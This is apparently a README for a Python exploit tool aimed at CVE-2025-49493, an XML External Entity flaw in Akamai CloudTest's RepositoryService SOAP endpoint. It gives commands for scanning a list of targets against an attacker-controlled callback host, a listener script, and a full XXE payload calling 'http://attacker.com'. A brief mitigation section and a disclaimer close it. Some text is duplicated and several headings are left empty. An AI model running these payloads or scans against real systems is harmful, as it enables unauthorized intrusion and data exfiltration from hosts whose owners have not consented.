
This is a Python-based exploit for CVE-2025-49493, which affects Akamai CloudTest versions before 60 2025.06.02 (12988). The vulnerability allows for XML External Entity (XXE) injection through the SOAP service endpoint.
This is a Python-based exploit for CVE-2025-49493, which affects Akamai CloudTest versions before 60 2025.06.02 (12988). The vulnerability allows for XML External Entity (XXE) injection through the SOAP service endpoint.
The vulnerability exists in the /concerto/services/RepositoryService SOAP endpoint where XML input is processed without proper sanitization of external entities. An attacker can craft malicious XML payloads to trigger XXE attacks, potentially leading to:
Install required packages:
pip install -r requirements.txt
Or install manually:
pip install requests urllib3 colored pyfiglet
python main.py targets.txt xxe.attacker.com
# With custom timeout
python main.py targets.txt collaborator.burp.com --timeout 20
# Using interactsh for OOB detection
python main.py targets.txt attacker.interactsh.com
positional arguments:
targets Target file containing list of Akamai CloudTest hosts
xxe_server XXE server to capture requests (e.g., attacker.com or IP)
optional arguments:
-h, --help show this help message and exit
--timeout TIMEOUT Request timeout in seconds (default: 10)
Create a targets.txt file with one target per line:
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestinteractsh-clientSet up a simple HTTP server to capture requests:
# simple_server.py
import http.server
import socketserver
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"XXE Request received: {self.path}")
print(f"Headers: {self.headers}")
super().do_GET()
with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
print("Server running on port 8000")
httpd.serve_forever()
The exploit uses the following XXE payload structure:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://attacker.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>
Immediate Actions:
Long-term Solutions:
Secure XML Processing:
# Disable external entities in XML parsers
import xml.etree.ElementTree as ET
parser = ET.XMLParser()
parser.parser.DefaultHandler = lambda data: None
parser.parser.ExternalEntityRefHandler = lambda *args: False
Input Validation:
This tool is provided for educational and authorized testing purposes only. Users are responsible for ensuring they have proper authorization before testing any systems. The authors are not responsible for any misuse or damage caused by this tool.
This project is licensed under the MIT License - see the LICENSE file for details.